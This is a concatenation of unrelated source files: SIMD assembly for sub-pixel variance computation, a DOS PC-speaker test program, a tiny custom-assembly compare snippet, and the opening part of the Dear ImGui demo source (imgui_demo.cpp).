%if ARCH_X86=1 && CONFIG_PIC=1
; In this case, there is NO unused register. Used src_stride register. Later,
; src_stride has to be loaded from stack when it is needed.
%define tempq src_strideq
mov tempq, g_bilin_filterm
add x_offsetq, tempq
add y_offsetq, tempq
%define filter_x_a [x_offsetq]
%define filter_x_b [x_offsetq+16]
%define filter_y_a [y_offsetq]
%define filter_y_b [y_offsetq+16]
mov tempq, g_pw_8m
%define filter_rnd [tempq]
%else
add x_offsetq, bilin_filter
add y_offsetq, bilin_filter
%define filter_x_a [x_offsetq]
%define filter_x_b [x_offsetq+16]
%define filter_y_a [y_offsetq]
%define filter_y_b [y_offsetq+16]
%define filter_rnd [pw_8]
%endif
%endif
; x_offset == bilin interpolation && y_offset == bilin interpolation
%if %1 == 16
movu m0, [srcq]
movu m1, [srcq+1]
%if cpuflag(ssse3)
punpckhbw m2, m0, m1
punpcklbw m0, m1
pmaddubsw m2, filter_x_a
pmaddubsw m0, filter_x_a
paddw m2, filter_rnd
paddw m0, filter_rnd
%else
punpckhbw m2, m0, m5
punpckhbw m3, m1, m5
punpcklbw m0, m5
punpcklbw m1, m5
pmullw m0, filter_x_a
pmullw m1, filter_x_b
paddw m0, filter_rnd
pmullw m2, filter_x_a
pmullw m3, filter_x_b
paddw m2, filter_rnd
paddw m0, m1
paddw m2, m3
%endif
psraw m0, 4
psraw m2, 4
INC_SRC_BY_SRC_STRIDE
packuswb m0, m2
.x_other_y_other_loop:
%if cpuflag(ssse3)
movu m4, [srcq]
movu m3, [srcq+1]
mova m1, [dstq]
punpckhbw m2, m4, m3
punpcklbw m4, m3
pmaddubsw m2, filter_x_a
pmaddubsw m4, filter_x_a
punpckhbw m3, m1, m5
paddw m2, filter_rnd
paddw m4, filter_rnd
psraw m2, 4
psraw m4, 4
packuswb m4, m2
punpckhbw m2, m0, m4
punpcklbw m0, m4
pmaddubsw m2, filter_y_a
pmaddubsw m0, filter_y_a
punpcklbw m1, m5
paddw m2, filter_rnd
paddw m0, filter_rnd
psraw m2, 4
psraw m0, 4
%else
movu m3, [srcq]
movu m4, [srcq+1]
punpckhbw m1, m3, m5
punpckhbw m2, m4, m5
punpcklbw m3, m5
punpcklbw m4, m5
pmullw m3, filter_x_a
pmullw m4, filter_x_b
paddw m3, filter_rnd
pmullw m1, filter_x_a
pmullw m2, filter_x_b
paddw m1, filter_rnd
paddw m3, m4
paddw m1, m2
psraw m3, 4
psraw m1, 4
packuswb m4, m3, m1
punpckhbw m2, m0, m5
punpcklbw m0, m5
pmullw m2, filter_y_a
pmullw m1, filter_y_b
paddw m2, filter_rnd
pmullw m0, filter_y_a
pmullw m3, filter_y_b
paddw m2, m1
mova m1, [dstq]
paddw m0, filter_rnd
psraw m2, 4
paddw m0, m3
punpckhbw m3, m1, m5
psraw m0, 4
punpcklbw m1, m5
%endif
%if %2 == 1 ; avg
; FIXME(rbultje) pipeline
packuswb m0, m2
pavgb m0, [secq]
punpckhbw m2, m0, m5
punpcklbw m0, m5
%endif
SUM_SSE m0, m1, m2, m3, m6, m7
mova m0, m4
INC_SRC_BY_SRC_STRIDE
add dstq, dst_strideq
%else ; %1 < 16
movx m0, [srcq]
movx m1, [srcq+1]
%if cpuflag(ssse3)
punpcklbw m0, m1
pmaddubsw m0, filter_x_a
paddw m0, filter_rnd
%else
punpcklbw m0, m5
punpcklbw m1, m5
pmullw m0, filter_x_a
pmullw m1, filter_x_b
paddw m0, filter_rnd
paddw m0, m1
%endif
psraw m0, 4
%if cpuflag(ssse3)
packuswb m0, m0
%endif
INC_SRC_BY_SRC_STRIDE
.x_other_y_other_loop:
movx m2, [srcq]
movx m1, [srcq+1]
INC_SRC_BY_SRC_STRIDE
movx m4, [srcq]
movx m3, [srcq+1]
%if cpuflag(ssse3)
punpcklbw m2, m1
punpcklbw m4, m3
pmaddubsw m2, filter_x_a
pmaddubsw m4, filter_x_a
movx m3, [dstq+dst_strideq]
movx m1, [dstq]
paddw m2, filter_rnd
paddw m4, filter_rnd
psraw m2, 4
psraw m4, 4
packuswb m2, m2
packuswb m4, m4
punpcklbw m0, m2
punpcklbw m2, m4
pmaddubsw m0, filter_y_a
pmaddubsw m2, filter_y_a
punpcklbw m3, m5
paddw m0, filter_rnd
paddw m2, filter_rnd
psraw m0, 4
psraw m2, 4
punpcklbw m1, m5
%else
punpcklbw m2, m5
punpcklbw m1, m5
punpcklbw m4, m5
punpcklbw m3, m5
pmullw m2, filter_x_a
pmullw m1, filter_x_b
paddw m2, filter_rnd
pmullw m4, filter_x_a
pmullw m3, filter_x_b
paddw m4, filter_rnd
paddw m2, m1
paddw m4, m3
psraw m2, 4
psraw m4, 4
pmullw m0, filter_y_a
pmullw m3, m2, filter_y_b
paddw m0, filter_rnd
pmullw m2, filter_y_a
pmullw m1, m4, filter_y_b
paddw m2, filter_rnd
paddw m0, m3
movx m3, [dstq+dst_strideq]
paddw m2, m1
movx m1, [dstq]
psraw m0, 4
psraw m2, 4
punpcklbw m3, m5
punpcklbw m1, m5
%endif
%if %2 == 1 ; avg
; FIXME(rbultje) pipeline
%if %1 == 4
movlhps m0, m2
%endif
packuswb m0, m2
%if %1 > 4
pavgb m0, [secq]
punpckhbw m2, m0, m5
punpcklbw m0, m5
%else
movh m2, [secq]
pavgb m0, m2
punpcklbw m0, m5
movhlps m2, m0
%endif
%endif
SUM_SSE m0, m1, m2, m3, m6, m7
mova m0, m4
INC_SRC_BY_SRC_STRIDE
lea dstq, [dstq+dst_strideq*2]
%endif
%if %2 == 1 ; avg
add secq, sec_str
%endif
dec block_height
jg .x_other_y_other_loop
%undef filter_x_a
%undef filter_x_b
%undef filter_y_a
%undef filter_y_b
%undef filter_rnd
%undef movx
STORE_AND_RET %1
%endmacro
; FIXME(rbultje) the non-bilinear versions (i.e. x=0,8&&y=0,8) are identical
; between the ssse3 and non-ssse3 version. It may make sense to merge their
; code in the sense that the ssse3 version would jump to the appropriate
; location in the sse/2 version, rather than duplicating that code in the
; binary.
INIT_XMM sse2
SUBPEL_VARIANCE 4
SUBPEL_VARIANCE 8
SUBPEL_VARIANCE 16
INIT_XMM ssse3
SUBPEL_VARIANCE 4
SUBPEL_VARIANCE 8
SUBPEL_VARIANCE 16
INIT_XMM sse2
SUBPEL_VARIANCE 4, 1
SUBPEL_VARIANCE 8, 1
SUBPEL_VARIANCE 16, 1
INIT_XMM ssse3
SUBPEL_VARIANCE 4, 1
SUBPEL_VARIANCE 8, 1
SUBPEL_VARIANCE 16, 1
|
; PC speaker test
BITS 16
ORG 100h
SECTION .text
; Set up PIT
; okay... we don't have 32 bit ints so we use a float (lol)
FILD DWORD [freq_pit]
FILD DWORD [freq_snd]
FDIVP
FISTP WORD [divisor]
MOV AL, 0B6h
OUT 43h, AL
MOV AL, BYTE [divisor]
OUT 42h, AL
MOV AL, BYTE [divisor + 1]
OUT 42h, AL
; Play
IN AL, 61h
MOV AH, AL
OR AL, 3
CMP AH, AL
JE skipExtraOutb
OUT 61h, AL
skipExtraOutb:
; Wait
XOR AH, AH
INT 1Ah
MOV BX, DX
waitOneSec:
XOR AH, AH
INT 1Ah
SUB DX, BX
CMP DX, 18
JL waitOneSec
; Stop sound
IN AL, 61h
AND AL, 0FCh
OUT 61h, AL
; Exit
exit:
INT 20h
JMP exit
; Constants
freq_pit DD 1193180
freq_snd DD 500
; Variables
divisor DW 0
|
LD 00000000
LD 00000100
MOV r3 r0 ; variable A to compare
LD 00000011
MOV r2 r0 ; variable B to compare
LD 00000000
MOV r1 r0 ; MSB of address to jump to
LD 00000000 ; LSB of address to jump to
CMP r2 r3
JE
NOP
NOP
NOP
|
// dear imgui, v1.79 WIP
// (demo code)
// Help:
// - Read FAQ at http://dearimgui.org/faq
// - Newcomers, read 'Programmer guide' in imgui.cpp for notes on how to setup Dear ImGui in your codebase.
// - Call and read ImGui::ShowDemoWindow() in imgui_demo.cpp. All applications in examples/ are doing that.
// Read imgui.cpp for more details, documentation and comments.
// Get latest version at https://github.com/ocornut/imgui
// Message to the person tempted to delete this file when integrating Dear ImGui into their code base:
// Do NOT remove this file from your project! Think again! It is the most useful reference code that you and other
// coders will want to refer to and call. Have the ImGui::ShowDemoWindow() function wired in an always-available
// debug menu of your game/app! Removing this file from your project is hindering access to documentation for everyone
// in your team, likely leading you to poorer usage of the library.
// Everything in this file will be stripped out by the linker if you don't call ImGui::ShowDemoWindow().
// If you want to link core Dear ImGui in your shipped builds but want a thorough guarantee that the demo will not be
// linked, you can setup your imconfig.h with #define IMGUI_DISABLE_DEMO_WINDOWS and those functions will be empty.
// In other situation, whenever you have Dear ImGui available you probably want this to be available for reference.
// Thank you,
// -Your beloved friend, imgui_demo.cpp (which you won't delete)
// Message to beginner C/C++ programmers about the meaning of the 'static' keyword:
// In this demo code, we frequently we use 'static' variables inside functions. A static variable persist across calls,
// so it is essentially like a global variable but declared inside the scope of the function. We do this as a way to
// gather code and data in the same place, to make the demo source code faster to read, faster to write, and smaller
// in size. It also happens to be a convenient way of storing simple UI related information as long as your function
// doesn't need to be reentrant or used in multiple threads. This might be a pattern you will want to use in your code,
// but most of the real data you would be editing is likely going to be stored outside your functions.
// The Demo code in this file is designed to be easy to copy-and-paste in into your application!
// Because of this:
// - We never omit the ImGui:: prefix when calling functions, even though most code here is in the same namespace.
// - We try to declare static variables in the local scope, as close as possible to the code using them.
// - We never use any of the helpers/facilities used internally by Dear ImGui, unless available in the public API.
// - We never use maths operators on ImVec2/ImVec4. For our other sources files we use them, and they are provided
// by imgui_internal.h using the IMGUI_DEFINE_MATH_OPERATORS define. For your own sources file they are optional
// and require you either enable those, either provide your own via IM_VEC2_CLASS_EXTRA in imconfig.h.
// Because we can't assume anything about your support of maths operators, we cannot use them in imgui_demo.cpp.
/*
Index of this file:
// [SECTION] Forward Declarations, Helpers
// [SECTION] Demo Window / ShowDemoWindow()
// [SECTION] About Window / ShowAboutWindow()
// [SECTION] Style Editor / ShowStyleEditor()
// [SECTION] Example App: Main Menu Bar / ShowExampleAppMainMenuBar()
// [SECTION] Example App: Debug Console / ShowExampleAppConsole()
// [SECTION] Example App: Debug Log / ShowExampleAppLog()
// [SECTION] Example App: Simple Layout / ShowExampleAppLayout()
// [SECTION] Example App: Property Editor / ShowExampleAppPropertyEditor()
// [SECTION] Example App: Long Text / ShowExampleAppLongText()
// [SECTION] Example App: Auto Resize / ShowExampleAppAutoResize()
// [SECTION] Example App: Constrained Resize / ShowExampleAppConstrainedResize()
// [SECTION] Example App: Simple Overlay / ShowExampleAppSimpleOverlay()
// [SECTION] Example App: Manipulating Window Titles / ShowExampleAppWindowTitles()
// [SECTION] Example App: Custom Rendering using ImDrawList API / ShowExampleAppCustomRendering()
// [SECTION] Example App: Documents Handling / ShowExampleAppDocuments()
*/
#if defined(_MSC_VER) && !defined(_CRT_SECURE_NO_WARNINGS)
#define _CRT_SECURE_NO_WARNINGS
#endif
#include "imgui.h"
#ifndef IMGUI_DISABLE
#include <ctype.h> // toupper
#include <limits.h> // INT_MIN, INT_MAX
#include <math.h> // sqrtf, powf, cosf, sinf, floorf, ceilf
#include <stdio.h> // vsnprintf, sscanf, printf
#include <stdlib.h> // NULL, malloc, free, atoi
#if defined(_MSC_VER) && _MSC_VER <= 1500 // MSVC 2008 or earlier
#include <stddef.h> // intptr_t
#else
#include <stdint.h> // intptr_t
#endif
// Visual Studio warnings
#ifdef _MSC_VER
#pragma warning (disable: 4996) // 'This function or variable may be unsafe': strcpy, strdup, sprintf, vsnprintf, sscanf, fopen
#endif
// Clang/GCC warnings with -Weverything
#if defined(__clang__)
#if __has_warning("-Wunknown-warning-option")
#pragma clang diagnostic ignored "-Wunknown-warning-option" // warning: unknown warning group 'xxx' // not all warnings are known by all Clang versions and they tend to be rename-happy.. so ignoring warnings triggers new warnings on some configuration. Great!
#endif
#pragma clang diagnostic ignored "-Wunknown-pragmas" // warning: unknown warning group 'xxx'
#pragma clang diagnostic ignored "-Wold-style-cast" // warning: use of old-style cast // yes, they are more terse.
#pragma clang diagnostic ignored "-Wdeprecated-declarations" // warning: 'xx' is deprecated: The POSIX name for this.. // for strdup used in demo code (so user can copy & paste the code)
#pragma clang diagnostic ignored "-Wint-to-void-pointer-cast" // warning: cast to 'void *' from smaller integer type
#pragma clang diagnostic ignored "-Wformat-security" // warning: format string is not a string literal
#pragma clang diagnostic ignored "-Wexit-time-destructors" // warning: declaration requires an exit-time destructor // exit-time destruction order is undefined. if MemFree() leads to users code that has been disabled before exit it might cause problems. ImGui coding style welcomes static/globals.
#pragma clang diagnostic ignored "-Wunused-macros" // warning: macro is not used // we define snprintf/vsnprintf on Windows so they are available, but not always used.
#pragma clang diagnostic ignored "-Wzero-as-null-pointer-constant" // warning: zero as null pointer constant // some standard header variations use #define NULL 0
#pragma clang diagnostic ignored "-Wdouble-promotion" // warning: implicit conversion from 'float' to 'double' when passing argument to function // using printf() is a misery with this as C++ va_arg ellipsis changes float to double.
#pragma clang diagnostic ignored "-Wreserved-id-macro" // warning: macro name is a reserved identifier
#pragma clang diagnostic ignored "-Wimplicit-int-float-conversion" // warning: implicit conversion from 'xxx' to 'float' may lose precision
#elif defined(__GNUC__)
#pragma GCC diagnostic ignored "-Wpragmas" // warning: unknown option after '#pragma GCC diagnostic' kind
#pragma GCC diagnostic ignored "-Wint-to-pointer-cast" // warning: cast to pointer from integer of different size
#pragma GCC diagnostic ignored "-Wformat-security" // warning: format string is not a string literal (potentially insecure)
#pragma GCC diagnostic ignored "-Wdouble-promotion" // warning: implicit conversion from 'float' to 'double' when passing argument to function
#pragma GCC diagnostic ignored "-Wconversion" // warning: conversion to 'xxxx' from 'xxxx' may alter its value
#pragma GCC diagnostic ignored "-Wmisleading-indentation" // [__GNUC__ >= 6] warning: this 'if' clause does not guard this statement // GCC 6.0+ only. See #883 on GitHub.
#endif
// Play it nice with Windows users (Update: May 2018, Notepad now supports Unix-style carriage returns!)
#ifdef _WIN32
#define IM_NEWLINE "\r\n"
#else
#define IM_NEWLINE "\n"
#endif
// Helpers
#if defined(_MSC_VER) && !defined(snprintf)
#define snprintf _snprintf
#endif
#if defined(_MSC_VER) && !defined(vsnprintf)
#define vsnprintf _vsnprintf
#endif
// Helpers macros
// We normally try to not use many helpers in imgui_demo.cpp in order to make code easier to copy and paste,
// but making an exception here as those are largely simplifying code...
// In other imgui sources we can use nicer internal functions from imgui_internal.h (ImMin/ImMax) but not in the demo.
#define IM_MIN(A, B) (((A) < (B)) ? (A) : (B))
#define IM_MAX(A, B) (((A) >= (B)) ? (A) : (B))
#define IM_CLAMP(V, MN, MX) ((V) < (MN) ? (MN) : (V) > (MX) ? (MX) : (V))
//-----------------------------------------------------------------------------
// [SECTION] Forward Declarations, Helpers
//-----------------------------------------------------------------------------
#if !defined(IMGUI_DISABLE_DEMO_WINDOWS)
// Forward Declarations
static void ShowExampleAppDocuments(bool* p_open);
static void ShowExampleAppMainMenuBar();
static void ShowExampleAppConsole(bool* p_open);
static void ShowExampleAppLog(bool* p_open);
static void ShowExampleAppLayout(bool* p_open);
static void ShowExampleAppPropertyEditor(bool* p_open);
static void ShowExampleAppLongText(bool* p_open);
static void ShowExampleAppAutoResize(bool* p_open);
static void ShowExampleAppConstrainedResize(bool* p_open);
static void ShowExampleAppSimpleOverlay(bool* p_open);
static void ShowExampleAppWindowTitles(bool* p_open);
static void ShowExampleAppCustomRendering(bool* p_open);
static void ShowExampleMenuFile();
// Helper to display a little (?) mark which shows a tooltip when hovered.
// In your own code you may want to display an actual icon if you are using a merged icon fonts (see docs/FONTS.md)
static void HelpMarker(const char* desc)
{
ImGui::TextDisabled("(?)");
if (ImGui::IsItemHovered())
{
ImGui::BeginTooltip();
ImGui::PushTextWrapPos(ImGui::GetFontSize() * 35.0f);
ImGui::TextUnformatted(desc);
ImGui::PopTextWrapPos();
ImGui::EndTooltip();
}
}
// Helper to display basic user controls.
void ImGui::ShowUserGuide()
{
ImGuiIO& io = ImGui::GetIO();
ImGui::BulletText("Double-click on title bar to collapse window.");
ImGui::BulletText(
"Click and drag on lower corner to resize window\n"
"(double-click to auto fit window to its contents).");
ImGui::BulletText("CTRL+Click on a slider or drag box to input value as text.");
ImGui::BulletText("TAB/SHIFT+TAB to cycle through keyboard editable fields.");
if (io.FontAllowUserScaling)
ImGui::BulletText("CTRL+Mouse Wheel to zoom window contents.");
ImGui::BulletText("While inputing text:\n");
ImGui::Indent();
ImGui::BulletText("CTRL+Left/Right to word jump.");
ImGui::BulletText("CTRL+A or double-click to select all.");
ImGui::BulletText("CTRL+X/C/V to use clipboard cut/copy/paste.");
ImGui::BulletText("CTRL+Z,CTRL+Y to undo/redo.");
ImGui::BulletText("ESCAPE to revert.");
ImGui::BulletText("You can apply arithmetic operators +,*,/ on numerical values.\nUse +- to subtract.");
ImGui::Unindent();
ImGui::BulletText("With keyboard navigation enabled:");
ImGui::Indent();
ImGui::BulletText("Arrow keys to navigate.");
ImGui::BulletText("Space to activate a widget.");
ImGui::BulletText("Return to input text into a widget.");
ImGui::BulletText("Escape to deactivate a widget, close popup, exit child window.");
ImGui::BulletText("Alt to jump to the menu layer of a window.");
ImGui::BulletText("CTRL+Tab to select a window.");
ImGui::Unindent();
}
//-----------------------------------------------------------------------------
// [SECTION] Demo Window / ShowDemoWindow()
//-----------------------------------------------------------------------------
// - ShowDemoWindowWidgets()
// - ShowDemoWindowLayout()
// - ShowDemoWindowPopups()
// - ShowDemoWindowColumns()
// - ShowDemoWindowMisc()
//-----------------------------------------------------------------------------
// We split the contents of the big ShowDemoWindow() function into smaller functions
// (because the link time of very large functions grow non-linearly)
static void ShowDemoWindowWidgets();
static void ShowDemoWindowLayout();
static void ShowDemoWindowPopups();
static void ShowDemoWindowColumns();
static void ShowDemoWindowMisc();
// Demonstrate most Dear ImGui features (this is big function!)
// You may execute this function to experiment with the UI and understand what it does.
// You may then search for keywords in the code when you are interested by a specific feature.
void ImGui::ShowDemoWindow(bool* p_open)
{
// Exceptionally add an extra assert here for people confused about initial Dear ImGui setup
// Most ImGui functions would normally just crash if the context is missing.
IM_ASSERT(ImGui::GetCurrentContext() != NULL && "Missing dear imgui context. Refer to examples app!");
// Examples Apps (accessible from the "Examples" menu)
static bool show_app_main_menu_bar = false;
static bool show_app_documents = false;
static bool show_app_console = false;
static bool show_app_log = false;
static bool show_app_layout = false;
static bool show_app_property_editor = false;
static bool show_app_long_text = false;
static bool show_app_auto_resize = false;
static bool show_app_constrained_resize = false;
static bool show_app_simple_overlay = false;
static bool show_app_window_titles = false;
static bool show_app_custom_rendering = false;
if (show_app_main_menu_bar) ShowExampleAppMainMenuBar();
if (show_app_documents) ShowExampleAppDocuments(&show_app_documents);
if (show_app_console) ShowExampleAppConsole(&show_app_console);
if (show_app_log) ShowExampleAppLog(&show_app_log);
if (show_app_layout) ShowExampleAppLayout(&show_app_layout);
if (show_app_property_editor) ShowExampleAppPropertyEditor(&show_app_property_editor);
if (show_app_long_text) ShowExampleAppLongText(&show_app_long_text);
if (show_app_auto_resize) ShowExampleAppAutoResize(&show_app_auto_resize);
if (show_app_constrained_resize) ShowExampleAppConstrainedResize(&show_app_constrained_resize);
if (show_app_simple_overlay) ShowExampleAppSimpleOverlay(&show_app_simple_overlay);
if (show_app_window_titles) ShowExampleAppWindowTitles(&show_app_window_titles);
if (show_app_custom_rendering) ShowExampleAppCustomRendering(&show_app_custom_rendering);
// Dear ImGui Apps (accessible from the "Tools" menu)
static bool show_app_metrics = false;
static bool show_app_style_editor = false;
static bool show_app_about = false;
if (show_app_metrics) { ImGui::ShowMetricsWindow(&show_app_metrics); }
if (show_app_about) { ImGui::ShowAboutWindow(&show_app_about); }
if (show_app_style_editor)
{
ImGui::Begin("Dear ImGui Style Editor", &show_app_style_editor);
ImGui::ShowStyleEditor();
ImGui::End();
}
// Demonstrate the various window flags. Typically you would just use the default!
static bool no_titlebar = false;
static bool no_scrollbar = false;
static bool no_menu = false;
static bool no_move = false;
static bool no_resize = false;
static bool no_collapse = false;
static bool no_close = false;
static bool no_nav = false;
static bool no_background = false;
static bool no_bring_to_front = false;
ImGuiWindowFlags window_flags = 0;
if (no_titlebar) window_flags |= ImGuiWindowFlags_NoTitleBar;
if (no_scrollbar) window_flags |= ImGuiWindowFlags_NoScrollbar;
if (!no_menu) window_flags |= ImGuiWindowFlags_MenuBar;
if (no_move) window_flags |= ImGuiWindowFlags_NoMove;
if (no_resize) window_flags |= ImGuiWindowFlags_NoResize;
if (no_collapse) window_flags |= ImGuiWindowFlags_NoCollapse;
if (no_nav) window_flags |= ImGuiWindowFlags_NoNav;
if (no_background) window_flags |= ImGuiWindowFlags_NoBackground;
if (no_bring_to_front) window_flags |= ImGuiWindowFlags_NoBringToFrontOnFocus;
if (no_close) p_open = NULL; // Don't pass our bool* to Begin
// We specify a default position/size in case there's no data in the .ini file.
// We only do it to make the demo applications a little more welcoming, but typically this isn't required.
ImGui::SetNextWindowPos(ImVec2(650, 20), ImGuiCond_FirstUseEver);
ImGui::SetNextWindowSize(ImVec2(550, 680), ImGuiCond_FirstUseEver);
// Main body of the Demo window starts here.
if (!ImGui::Begin("Dear ImGui Demo", p_open, window_flags))
{
// Early out if the window is collapsed, as an optimization.
ImGui::End();
return;
}
// Most "big" widgets share a common width settings by default. See 'Demo->Layout->Widgets Width' for details.
// e.g. Use 2/3 of the space for widgets and 1/3 for labels (default)
//ImGui::PushItemWidth(ImGui::GetWindowWidth() * 0.65f);
// e.g. Leave a fixed amount of width for labels (by passing a negative value), the rest goes to widgets.
ImGui::PushItemWidth(ImGui::GetFontSize() * -12);
// Menu Bar
if (ImGui::BeginMenuBar())
{
if (ImGui::BeginMenu("Menu"))
{
ShowExampleMenuFile();
ImGui::EndMenu();
}
if (ImGui::BeginMenu("Examples"))
{
ImGui::MenuItem("Main menu bar", NULL, &show_app_main_menu_bar);
ImGui::MenuItem("Console", NULL, &show_app_console);
ImGui::MenuItem("Log", NULL, &show_app_log);
ImGui::MenuItem("Simple layout", NULL, &show_app_layout);
ImGui::MenuItem("Property editor", NULL, &show_app_property_editor);
ImGui::MenuItem("Long text display", NULL, &show_app_long_text);
ImGui::MenuItem("Auto-resizing window", NULL, &show_app_auto_resize);
ImGui::MenuItem("Constrained-resizing window", NULL, &show_app_constrained_resize);
ImGui::MenuItem("Simple overlay", NULL, &show_app_simple_overlay);
ImGui::MenuItem("Manipulating window titles", NULL, &show_app_window_titles);
ImGui::MenuItem("Custom rendering", NULL, &show_app_custom_rendering);
ImGui::MenuItem("Documents", NULL, &show_app_documents);
ImGui::EndMenu();
}
if (ImGui::BeginMenu("Tools"))
{
ImGui::MenuItem("Metrics", NULL, &show_app_metrics);
ImGui::MenuItem("Style Editor", NULL, &show_app_style_editor);
ImGui::MenuItem("About Dear ImGui", NULL, &show_app_about);
ImGui::EndMenu();
}
ImGui::EndMenuBar();
}
ImGui::Text("dear imgui says hello. (%s)", IMGUI_VERSION);
ImGui::Spacing();
if (ImGui::CollapsingHeader("Help"))
{
ImGui::Text("ABOUT THIS DEMO:");
ImGui::BulletText("Sections below are demonstrating many aspects of the library.");
ImGui::BulletText("The \"Examples\" menu above leads to more demo contents.");
ImGui::BulletText("The \"Tools\" menu above gives access to: About Box, Style Editor,\n"
"and Metrics (general purpose Dear ImGui debugging tool).");
ImGui::Separator();
ImGui::Text("PROGRAMMER GUIDE:");
ImGui::BulletText("See the ShowDemoWindow() code in imgui_demo.cpp. <- you are here!");
ImGui::BulletText("See comments in imgui.cpp.");
ImGui::BulletText("See example applications in the examples/ folder.");
ImGui::BulletText("Read the FAQ at http://www.dearimgui.org/faq/");
ImGui::BulletText("Set 'io.ConfigFlags |= NavEnableKeyboard' for keyboard controls.");
ImGui::BulletText("Set 'io.ConfigFlags |= NavEnableGamepad' for gamepad controls.");
ImGui::Separator();
ImGui::Text("USER GUIDE:");
ImGui::ShowUserGuide();
}
if (ImGui::CollapsingHeader("Configuration"))
{
ImGuiIO& io = ImGui::GetIO();
if (ImGui::TreeNode("Configuration##2"))
{
ImGui::CheckboxFlags("io.ConfigFlags: NavEnableKeyboard", (unsigned int*)&io.ConfigFlags, ImGuiConfigFlags_NavEnableKeyboard);
ImGui::CheckboxFlags("io.ConfigFlags: NavEnableGamepad", (unsigned int*)&io.ConfigFlags, ImGuiConfigFlags_NavEnableGamepad);
ImGui::SameLine(); HelpMarker("Required back-end to feed in gamepad inputs in io.NavInputs[] and set io.BackendFlags |= ImGuiBackendFlags_HasGamepad.\n\nRead instructions in imgui.cpp for details.");
ImGui::CheckboxFlags("io.ConfigFlags: NavEnableSetMousePos", (unsigned int*)&io.ConfigFlags, ImGuiConfigFlags_NavEnableSetMousePos);
ImGui::SameLine(); HelpMarker("Instruct navigation to move the mouse cursor. See comment for ImGuiConfigFlags_NavEnableSetMousePos.");
ImGui::CheckboxFlags("io.ConfigFlags: NoMouse", (unsigned int*)&io.ConfigFlags, ImGuiConfigFlags_NoMouse);
// The "NoMouse" option above can get us stuck with a disable mouse! Provide an alternative way to fix it:
if (io.ConfigFlags & ImGuiConfigFlags_NoMouse)
{
if (fmodf((float)ImGui::GetTime(), 0.40f) < 0.20f)
{
ImGui::SameLine();
ImGui::Text("<<PRESS SPACE TO DISABLE>>");
}
if (ImGui::IsKeyPressed(ImGui::GetKeyIndex(ImGuiKey_Space)))
io.ConfigFlags &= ~ImGuiConfigFlags_NoMouse;
}
ImGui::CheckboxFlags("io.ConfigFlags: NoMouseCursorChange", (unsigned int*)&io.ConfigFlags, ImGuiConfigFlags_NoMouseCursorChange);
ImGui::SameLine(); HelpMarker("Instruct back-end to not alter mouse cursor shape and visibility.");
ImGui::Checkbox("io.ConfigInputTextCursorBlink", &io.ConfigInputTextCursorBlink);
ImGui::SameLine(); HelpMarker("Set to false to disable blinking cursor, for users who consider it distracting");
ImGui::Checkbox("io.ConfigWindowsResizeFromEdges", &io.ConfigWindowsResizeFromEdges);
ImGui::SameLine(); HelpMarker("Enable resizing of windows from their edges and from the lower-left corner.\nThis requires (io.BackendFlags & ImGuiBackendFlags_HasMouseCursors) because it needs mouse cursor feedback.");
ImGui::Checkbox("io.ConfigWindowsMoveFromTitleBarOnly", &io.ConfigWindowsMoveFromTitleBarOnly);
ImGui::Checkbox("io.MouseDrawCursor", &io.MouseDrawCursor);
ImGui::SameLine(); HelpMarker("Instruct Dear ImGui to render a mouse cursor itself. Note that a mouse cursor rendered via your application GPU rendering path will feel more laggy than hardware cursor, but will be more in sync with your other visuals.\n\nSome desktop applications may use both kinds of cursors (e.g. enable software cursor only when resizing/dragging something).");
ImGui::Text("Also see Style->Rendering for rendering options.");
ImGui::TreePop();
ImGui::Separator();
}
if (ImGui::TreeNode("Backend Flags"))
{
HelpMarker(
"Those flags are set by the back-ends (imgui_impl_xxx files) to specify their capabilities.\n"
"Here we expose then as read-only fields to avoid breaking interactions with your back-end.");
// Make a local copy to avoid modifying actual back-end flags.
ImGuiBackendFlags backend_flags = io.BackendFlags;
ImGui::CheckboxFlags("io.BackendFlags: HasGamepad", (unsigned int*)&backend_flags, ImGuiBackendFlags_HasGamepad);
ImGui::CheckboxFlags("io.BackendFlags: HasMouseCursors", (unsigned int*)&backend_flags, ImGuiBackendFlags_HasMouseCursors);
ImGui::CheckboxFlags("io.BackendFlags: HasSetMousePos", (unsigned int*)&backend_flags, ImGuiBackendFlags_HasSetMousePos);
ImGui::CheckboxFlags("io.BackendFlags: RendererHasVtxOffset", (unsigned int*)&backend_flags, ImGuiBackendFlags_RendererHasVtxOffset);
ImGui::TreePop();
ImGui::Separator();
}
if (ImGui::TreeNode("Style"))
{
HelpMarker("The same contents can be accessed in 'Tools->Style Editor' or by calling the ShowStyleEditor() function.");
ImGui::ShowStyleEditor();
ImGui::TreePop();
ImGui::Separator();
}
if (ImGui::TreeNode("Capture/Logging"))
{
HelpMarker(
"The logging API redirects all text output so you can easily capture the content of "
"a window or a block. Tree nodes can be automatically expanded.\n"
"Try opening any of the contents below in this window and then click one of the \"Log To\" button.");
ImGui::LogButtons();
HelpMarker("You can also call ImGui::LogText() to output directly to the log without a visual output.");
if (ImGui::Button("Copy \"Hello, world!\" to clipboard"))
{
ImGui::LogToClipboard();
ImGui::LogText("Hello, world!");
ImGui::LogFinish();
}
ImGui::TreePop();
}
}
if (ImGui::CollapsingHeader("Window options"))
{
ImGui::Checkbox("No titlebar", &no_titlebar); ImGui::SameLine(150);
ImGui::Checkbox("No scrollbar", &no_scrollbar); ImGui::SameLine(300);
ImGui::Checkbox("No menu", &no_menu);
ImGui::Checkbox("No move", &no_move); ImGui::SameLine(150);
ImGui::Checkbox("No resize", &no_resize); ImGui::SameLine(300);
ImGui::Checkbox("No collapse", &no_collapse);
ImGui::Checkbox("No close", &no_close); ImGui::SameLine(150);
ImGui::Checkbox("No nav", &no_nav); ImGui::SameLine(300);
ImGui::Checkbox("No background", &no_background);
ImGui::Checkbox("No bring to front", &no_bring_to_front);
}
// All demo contents
ShowDemoWindowWidgets();
ShowDemoWindowLayout();
ShowDemoWindowPopups();
ShowDemoWindowColumns();
ShowDemoWindowMisc();
// End of ShowDemoWindow()
ImGui::End();
}
static void ShowDemoWindowWidgets()
{
if (!ImGui::CollapsingHeader("Widgets"))
return;
if (ImGui::TreeNode("Basic"))
{
static int clicked = 0;
if (ImGui::Button("Button"))
clicked++;
if (clicked & 1)
{
ImGui::SameLine();
ImGui::Text("Thanks for clicking me!");
}
static bool check = true;
ImGui::Checkbox("checkbox", &check);
static int e = 0;
ImGui::RadioButton("radio a", &e, 0); ImGui::SameLine();
ImGui::RadioButton("radio b", &e, 1); ImGui::SameLine();
ImGui::RadioButton("radio c", &e, 2);
// Color buttons, demonstrate using PushID() to add unique identifier in the ID stack, and changing style.
